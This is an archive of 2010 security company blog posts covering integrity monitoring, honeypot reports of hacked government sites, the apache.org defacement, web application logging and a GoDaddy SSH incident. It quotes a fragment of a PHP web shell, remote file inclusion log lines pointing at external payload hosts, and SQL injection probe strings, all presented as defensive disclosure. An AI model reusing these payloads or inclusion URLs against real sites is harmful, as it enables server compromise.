Tuesday, March 9, 2010

Cloud-based (FILE) Integrity Monitoring

If you are a system administrator or have ever worked with security, you probably heard the terms file integrity monitoring or file integrity checking. If you didn't, you at least heard of tripwire or OSSEC or AIDS (they are popular open source file integrity checking tools).

How do they work? Generally they are installed on a server, where they create a cryptographic checksum of all the critical files (and registry entries) and if/when something changes you get an alert. Useful, no? So, if an attacker (or anyone) goes and modify your hosts file you would get the alert: "File /etc/hosts has been modified".

Yes, very useful!

However, as we move to a cloud-based world, how can this still work?

Your email is now stored at gmail, your Whois data is stored at a registrar that you don't control either. Your DNS may be hosted outside too, where you can't verify locally if the zones have been changed. Your sites may be hosted a multiple locations outside your control.

How do you guarantee that the integrity of your data is intact? How do you guarantee that the integrity of your Internet presence (of your brand, your site) is intact?

If you remember the last time twitter was hacked, the attackers didn't get access to their servers, but they attacked their registrar and modified the DNS to point to another system. Nothing that twitter could have protected from the inside.

That's where cloud-based (or web-based) integrity monitoring comes into play. As we become more decentralized, we need a way to verify that our external data is still safe.

Well, that's what our company does. We offer a cloud-based Integrity monitoring solution that verifies that your Internet presence have not been altered. We monitor your DNS, your Whois information, your web sites, your blacklist status (at multiple databases), your SSL certificates, and alert you whenever their integrity is changed.

How useful is it? As the integrity of your data changes, it allows us to detect malware injection, spam, defacements, attempts to steal domains, database errors and even if your site just went offline. Curious to try? visit: http://sucuri.net and let us know what you think.

Screenshot of the apache.org defacement (10 years ago)

We recently published a case study of the apache.org defacement that happened 10 years ago. You can read it here: Apache.org defaced - Security archive case study

We didn't publish the screenshot of the defacement, but our friend @EdiStrosar sent us a link to it. Check it out:
Very funny...

Monday, March 8, 2010

Ecuador Government site hacked and spreading malware

Colombia, Venezuela and now Ecuador. How far are we from reporting the whole South America? :)

The web site from the 'Municipio del Cantón Mejía' in Ecuador has been hosting malware and also attacking our honeypots for a while. As always, we reported and didn't hear anything back.

They are hosting the common FX29ID php exploit:

http://www.municipiodemejia.gov.ec/administrator/components/com_search/sken/id1(feelcomz).txt
< ? php
##[ Fxxxx ]##
fx("ID","FeeL"."CoMz");
$P = @getcwd();
$IP = @getenv("SERVER_ADDR");
$UID = fx29exec("id");
fx("SAFE",@safemode()?"ON":"OFF");
fx("OS",@PHP_OS);
fx("UNAME",@php_uname());
fx("SERVER",($IP)?$IP:"-");
fx("USER",@get_current_user());
fx("UID",($UID)?$UID:"uid=".@getmyuid()." gid=".@getmygid());
fx("DIR",$P);
fx("PERM",(@is_writable($P))?"[W]":"[R]");
fx("HDD","Used: ".hdd("used")." Free: ".hdd("free")." Total: ".hdd("total"));
fx("DISFUNC",@getdisfunc());
##[ FX29SHEXEC ]##
Also attempting RFI attacks against our systems (190.152.217.250 is their IP address):
SCAN:190.152.217.250 /xxx/new-visitor.inc.php?lvc_include_dir=http://www.j8design.com/id1.txt?
190.152.217.250 /xxx/show.php?path= http://kucing1.fileave.com/id1.txt?
190.152.217.250 //?_SERVER[DOCUMENT_ROOT]= http://clompunk.webs.com/id1.txt?
190.152.217.250 //bbs///skin/buzzard_espoon/setup.php?dir= http://www.hyonsvc.co.kr//bbs//icon/id1.txt????????
190.152.217.250 //delete_comment.php?board_skin_path= http://www.hyonsvc.co.kr//bbs//icon/id1.txt
If you know anyone at the Ecuador .gov, let them know about it. Hopefully they will get it fixed soon.

Sunday, March 7, 2010

Apache.org defaced - Security archive case study

Security Archive: Remembering security incidents to make sure we don't commit the same mistakes over and over again.

Want to read more stories like this one? Follow @sucuri_security on twitter or subscribe to our RSS feed. Interested in a web site security monitoring solution? Visit sucuri.net.


May 5th, 2000. It was almost ten years ago that news came out. The web site for the most popular web server got defaced. Yes, Apache.org was hacked. The funny part is that the attackers were "nice" and only modified the page to add a Microsoft banner ("Powered by Microsoft BackOffice").

How Embarrassing. They were "white hats" (according to Apache itself) and did nothing more than to add that funny banner. However, people were worried about what else they could have done or what else might be compromised. Was the Apache source code safe? Did anyone add a backdoor there? Even worse, how they got in? Was it caused by a 0-day on Apache itself?

The attackers itself explained how they got in and it was caused by a few configuration mistakes made by the Apache team.

Mistakes:
  1. Their HTTP root directory (www_root) was the same as their FTP root directory (ftp_root). So visiting http://apache.org was using a directory inside ftp://apache.org.
  2. Their FTP allowed anonymous access
  3. They had a world writable directory inside that FTP server
  4. They didn't have a deny-all policy in their firewall
  5. MySQL was running as root
None of these are big issues by itself, but when merged together, they gave the attackers full access to the Apache server.

How they got in?

They added a PHP file inside that FTP world-writable directory and executed it via the HTTP site. After that they pushed a remote shell (to listen on port 65533) and got shell access! They looked around, found the database password inside the bugzilla configuration file, created a test database and exported it as a root executable file (remember, mysql was running as root - SELECT.. INTO OUTFILE) and after a few more tricks they owned everything...

What to learn from it and protect ourselves?
  1. Set up a default-deny policy on your firewall. If they had that (only allowing port 80 for example), their remote shell would not have worked. How is your firewall configured?
  2. The HTTP files should be owned by root, not the apache user itself. The apache user only need read access and maybe a write access to one or two directories
  3. Your web_root should be different from your ftp_root. I see lot of servers where the /home/[site] is both!
  4. Remove anonymous FTP access! If you need this functionality, configure a separate server for that. Anonymous write-access? Never!
  5. Don't run your services as root! They only got root because mysql was running as root! Always use privilege-separated users

Want to see the full story? It is very entertaining. Check out: http://www.dataloss.net/papers/how.defaced.apache.org.txt

Thursday, March 4, 2010

The Importance of logging for web applications - Security talk

If you think that your logs are only useful when something crashes or when you need to troubleshoot errors on your web application, think again!

At our Sucuri Labs, we have multiple online tools and we have good logging on all of them. We not only log errors, but also successful requests. For example, on our Application to get the real URL from a shortened one, this is how it looks when someone uses it:
2010-03-04 05:56:54 [srcip] Check URL for http://bit.ly/XYZ.
2010-03-04 05:57:01 [srcip] Check URL for http://bit.ly/ABC.
Yes,that gets logged on our internal success log. When something fails, or someone gives us an invalid URL, thats how it looks like:
2010-03-04 06:45:37 [srcip] Check URL: Invalid domain name 'google'..
That gives us an overview of what our users are doing and what mistakes they make more often. In this case, the user tried the domain "google", without the .com at the end.

That's very useful from a usability stand point, but from a security perspective, logs can be much more useful. We use those web application logs for at least 3 things:
  1. Detect attacks
  2. Detect application misuse
  3. Detect errors (loss of availability)


1 - Detecting attacks

Users are curious. Most of them are not malicious, but they certainly like to play around and look for vulnerabilities. One user we noticed tried our web scanner against his web site.
2010-02-21 06:52:14 115.49.x.y scanner: Site: www.xx.it
A few minutes after, he started to poke around looking for SQL injections:
2010-02-21 06:52:34 115.49.x.y scanner: Invalid site: www.xx.it'`([{^~'
2010-02-21 06:52:41 115.49.x.y scanner: Invalid site: www.xx.it aND 8=8'
2010-02-21 06:52:41 115.49.x.y scanner: Invalid site: www.xx.it aND 8=3'
2010-02-21 06:52:49 115.49.x.y scanner: Invalid site: www.xx.it' aND '8'='8'
2010-02-21 06:52:57 115.49.x.y scanner: Invalid site: www.xx.it' aND '8'='8'
2010-02-21 06:53:09 115.49.x.y scanner: Invalid site: www.xx.it/**/aND/**/8=8'
2010-02-21 06:53:35 115.49.x.y scanner: Invalid site: www.xx.it%' aND '8%'='8'
2010-02-21 06:53:48 115.49.x.y scanner: Invalid site: www.xx.it XoR 8=8'
He then got blocked automatically by our system. Without those logs, he could have tried and tried forever and we would never notice that. Our application was safe against it, but why let an attacker play around? To block those attacks, we use OSSEC with their active response, which blocks an attacker after 10 invalid attempts.

That's how our OSSEC rule looks like:
<rule id="100906" level="3">
<match>Invalid site:</match>
<description>User provided an invalid site.</description>
</rule>
<rule id="100907" level="10" frequency="10" timeframe="360">
<if_matched_sid>100906</if_matched_sid>
<same_source_ip>
<description>Warning: Multiple invalid sites provided.</description>
</rule>
The first rule generates a low level event for each invalid site provided and the second one, actually blocks and generates an alert if it happens more than 10 times from the same source ip.

2 - Detecting application misuse

Detecting application misuse is very similar to detect attacks. Except that in this case the user is not trying to hack us, but use our application in ways we don't allow. For example:
2010-02-24 07:22:50 129.21.a.b scanner: Invalid site: 'site:22'..
2010-02-24 07:30:47 129.21.a.b scanner: Invalid site: 'site:25'..
Instead of giving us a valid domain, the user was trying to give us a port to scan (in this case 22 for ssh and 25 for smtp). We were safe against this, but it raises our awareness of possible ways to misuse our application.


So, why not add some good logs to your application? We didn't go over detecting errors, because everyone does that already, but you also need to log successful attempts and invalid user input too! A simple write_log function before you print any error back to the user, should do it. For example:

function write_log($msg)
{
$INT_LOGFILE = "/var/logs/myapp/myapp.log";
if ($handle = fopen($INT_LOGFILE, 'a'))
{
fwrite($handle, date('Y-m-d h:i:s ').$_SERVER['REMOTE_ADDR']." ".$msg. ".\n");
fclose($handle);
}
}
Just remember to log outside your web directory! You don't want anyone else accessing your logs!

Tuesday, March 2, 2010

Venezuela Government site hacked and spreading malware

Since we have been noticing that full-disclosure works, we will continue with that.

We have detected in our honeypots that since January the site www.miranda.gov.ve (from the Venezuela state of Miranda) has been hosting malware and their IP also scanning our honeypots.

We attempted to contact them a few times without any reply, so let's see if anyone will take notice now.

What we saw initially was a few files being used on RFI attacks:
a.b.231.227 - - [16/Feb/2010:01:32:50 -0200] "GET /show.php?path=http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt??? HTTP/1.1" 200 36 "-" "Mozilla/5.0"
a.b.231.227 - - [16/Feb/2010:01:32:56 -0200] "GET /xxx.php?path=http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt??? HTTP/1.1" 200 36 "-" "Mozilla/5.0"
Later we also saw them attacking our system (190.9.130.13 is their IP address):

190.9.130.13 - - [19/Feb/2010:06:13:17 -0200] "GET /tonuke.php?filnavn=http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt??? HTTP/1.1" 200 36 "-" "Mozilla/5.0"
190.9.130.13 - - [19/Feb/2010:06:13:17 -0200] "GET /xxx.php?filnavn=http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt??? HTTP/1.1" 200 36 "-" "Mozilla/5.0"
These are some of the files we found so far:
$ lynx --source --dump http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt
<? php /* Fz29ID */ e cho("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fz29ID */
$ lynx --source --dump http://www.miranda.gov.ve/modules/mod_sections/id1.txt
< ? php /* Fg21ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fh21ID */
Note that this is just what was reported from our honeypot systems (all automated). We only go deeper in the analysis when our clients are affected.

Also, one thing that most people don't realize is that if the attackers are able to upload any file to the server and run commands in there, they can also steal confidential information, steal passwords, inject malware to visitors (via javascript), etc.

Monday, March 1, 2010

Honeypot analysis - Full disclosure works

When all else fails, *full disclosure (the process) seems to work.

Early in January, we sent a bunch of emails to the people at the Georgia Government, after we detected that they were hosting malware. We asked for contacts on Twitter. Nobody replied. Nothing got fixed.

Early in January, we did the same think to the guys at the Colombia Government, and nobody replied and nothing got fixed.

The good news is that after we posted in our blog, people from both governments contacted us and fixed their sites, removed the malware, etc. Awesome! They just needed a bit of attention to look at their security issues.

However, we only go to the full-disclosure route when all else fails. Early in February we detected that one of the UNDP (United Nations development program) sites were hosting malware. We asked for contacts on Twitter, got a reply and everything got fixed within a day.

Same thing with the University of Rhode Island (uri.edu). Their main site was hosting malware, and after we contacted them using the Whois information (and abuse email), everything got fixed within a day.

What to take from that? If you are a site owner, please configure your abuse@ email address, and have clear contact instructions on your site. If you are a security researcher and found something wrong, and nobody listened to you. Try full-disclosure... Blog about it and they might notice.

<marketing plug>Plus, if you want this kind of monitoring for your own Internet presence, check out http://sucuri.net. At Sucuri Security we have two main goals: Monitor your visible Internet presence (via DNS, site content changes, whois, blacklisting status, etc), and to also monitor what is not visible (or easily accessible). So we run multiple honey pots, we monitor IRC chats used by botnets and attackers, multiple forums, etc. All with the goal to protect our clients and notify them if we see any issue in the "underground"</marketing plug>


**Notice: I am talking about full-disclosure, the process. Not the mailing list

Wednesday, February 24, 2010

GoDaddy Security update

My last post GoDaddy store your passwords in clear-text and may try to SSH to your VPS without permission got a lot of traction and it reached the ears of the GoDaddy people!

I just got off the phone with Neil Warner, GoDaddy's CSO (Chief Security Officer) and he explained the situation to me.

First, I was glad that they heard the customers, heard the complains and took the time to look at it. That was his explanation:

  1. They take security serious and spend a lot of money on intrusion/malware detection to protect their customers

  2. They have a security team 24/7 monitoring all their shared/VPS and private servers

  3. When they detect any issue, they try to fix the problem and that's why they tried to access my box

  4. They store all the passwords encrypted (not one-way hashed which is the recommended), and they can only be retrieved and reversed after a member of the security team opens a ticket and explains the reason for using the password (like to investigate malware)
One thing that made me feel better was that they actually have a process in place to access the passwords and they hold their people accountable for that. Having them encrypted or in clear-text doesn't make much a difference, if the process to recover them is open to anyone in their staff...

He said that most users like their free incident response and malware removal and the way they deal with security issues.

He also said that they should have contacted me before accessing the box, warning me of the possible malware, and that they will do that from now on (good to know).

I am happy they called and explained the situation. +1 for GoDaddy for being open, explaining the issue and trying to improve.

GoDaddy store your passwords in clear-text and may try to SSH to your VPS without permission

*UPDATE: I just got off the phone with Neil Warner, GoDaddy's CSO (Chief Security Officer) and he explained the situation to me. Check it out: GoDaddy Security update

I have been a GoDaddy user for a while and never had problems with them. In fact, differently than some people, I had great support and service from them.

However, one recent situation is making me change my mind about them...

I have my domains and a bunch of VPS (virtual private servers) with GoDaddy and one of those servers is/was hosting the Sucuri's official site.

I am a bit paranoid about security and on all my servers I switch the SSHD port to a different one and restrict to only a few IP addresses. On the offical SSH port (tcp 22), I install a honeypot to detect ssh scans and which passwords/users they use (you can see some of my analysis in this post: Honeypot analysis - Looking at SSH scans)

Anyway, early this year I started posting information about web-based malware and a few days after I did that, I saw on my honeypot logs:

Jan 8 06:55:28 d1 sshd[27670]: Failed password for [mygodaddyuser] from 64.202.160.65 port 49271 ssh2
Jan 8 06:55:30 d1 sshd[27670]: Failed password for [mygodaddyuser] from 64.202.160.65 port 49271 ssh2
Jan 8 06:56:38 d1 sshd[28528]: User root from nat-64-202-160-65.ip.secureserver.net not allowed because listed in DenyUsers
Jan 8 06:56:38 d1 sshd[28528]: Failed none for invalid user root from 64.202.160.65 port 50727 ssh2
Jan 8 06:56:53 d1 sshd[28528]: Failed password for invalid user root from 64.202.160.65 port 50727 ssh2
Jan 8 06:56:55 d1 sshd[28528]: Failed password for invalid user root from 64.202.160.65 port 50727 ssh2
And checking my honeypot logs, I saw:
Jan 8 06:55:28 d1 sshd[27670]: hh: user: [mygodaddyuser]|pass: [MYGODADDYPASS]
Jan 8 06:55:30 d1 sshd[27670]: hh: user: [mygodaddyuser]|pass: [MYGODADDYPREVIOUSPASS]
Jan 8 06:56:53 d1 sshd[28528]: hh: user: root|pass: [MYGODADDYPASS]
I was shocked! My first thought was that someone had stolen my GoDaddy password (that I use to login to their web page) and even my previous password! (I had changed my password a few weeks before that).

I quickly ran and started a panic mode incident response, changed passwords and started to look how I got hacked and what was going on, when I decided to look at the IP address that tried to access my box:
$ whois 64.202.160.65
[Querying whois.arin.net]
[whois.arin.net]

OrgName: GoDaddy.com, Inc.
OrgID: GODAD
Address: 14455 N Hayden Road
Address: Suite 226
City: Scottsdale
StateProv: AZ
PostalCode: 85260
Country: US

NetRange: 64.202.160.0 - 64.202.191.255
CIDR: 64.202.160.0/19
NetName: GO-DADDY-SOFTWARE-INC
NetHandle: NET-64-202-160-0-1
Parent: NET-64-0-0-0-0
NetType: Direct Allocation
NameServer: CNS1.SECURESERVER.NET
NameServer: CNS2.SECURESERVER.NET
NameServer: CNS3.SECURESERVER.NET
Comment:
RegDate: 2002-10-22
Updated: 2007-06-14
Hum.. It came from Godaddy's own network. I was about to send an email to abuse@godaddy.com, whem I got this email:
It has come to our attention that the [your site name] may be infected by malware. We would like to investigate this matter further, however the login credentials we have on file for your server do not allow us access to the server. In order for us to proceed to investigate the possible infection, we require that you provide the proper login credentials to access your server with administrative rights within 48 hours or by January 10th @ 2 pm MST (GMT -0700) by using our "Password Sync" option, or your server will be suspended. To update the logon information, please follow these steps:

Log into your account.
Click on the ‘My Account’ link.
Click on the ‘Dedicated/Virtual Dedicated Servers’ link.
Select the server you need to update the log on information for.
Click on the ‘Open Manager’ link.
Click on the Support: Sync Passwords button.
Enter the current SSH and root information and save the information.
WTF!WTF!WTF! Yes, I cursed them for a while! Why?

  1. They tried to SSH to my "private" server without my authorization!

  2. They wanted my ROOT password and SSH access!

  3. They HAD MY MAIN GODADDY PASSWORD (AND PREVIOUS ONE) in CLEAR-TEXT!

  4. They almost gave me a heart attack

I don't know if anyone find that horrifying, but I do! I would understand storing the initial password for the server in clear-text or something like that. But the main password from my GoDaddy account? Giving their admins access to them so they can SSH to my box? Keeping my old password in clear-text too? SSHing to my box without asking my first? Wow....

The end of the story... After I calmed down, I contacted them and explained about my web-based malware security research and told that I would not give anyone SSH access. If they really required that I would switched providers. They did some investigation, apologized and let me stay... How nice they are...

Saturday, February 20, 2010

.ORG whois reporting DNSSEC status

I was glad to see a handful of whois updates today coming from all the .ORGs that we are monitoring at Sucuri.

Basically now at the end of the Whois, it is showing if that domain is using DNSSEC or not. Example for mozilla.org:
$ whois mozilla.org
Name Server:NS1.MOZILLA.ORG
Name Server:NS2.MOZILLA.ORG
Name Server:NS3.MOZILLA.ORG
DNSSEC:Unsigned
Because of that I got hundreds of notifications about those changes:
Sucuri nbim: www.kernel.org whois modified
Modifications:
86a87
> DNSSEC:Unsigned

Sucuri nbim: ubuntulinux.org whois modified
Modifications:
88a89
> DNSSEC:Unsigned

Sucuri nbim: fsf.org whois modified
Modifications:
86a87
> DNSSEC:Unsigned
And many more... Want to stay updated to what is happening with the whois information of your domains? What about DNS changes, site changes, blacklisting status, etc? Try our Internet presence security monitoring for free to get started.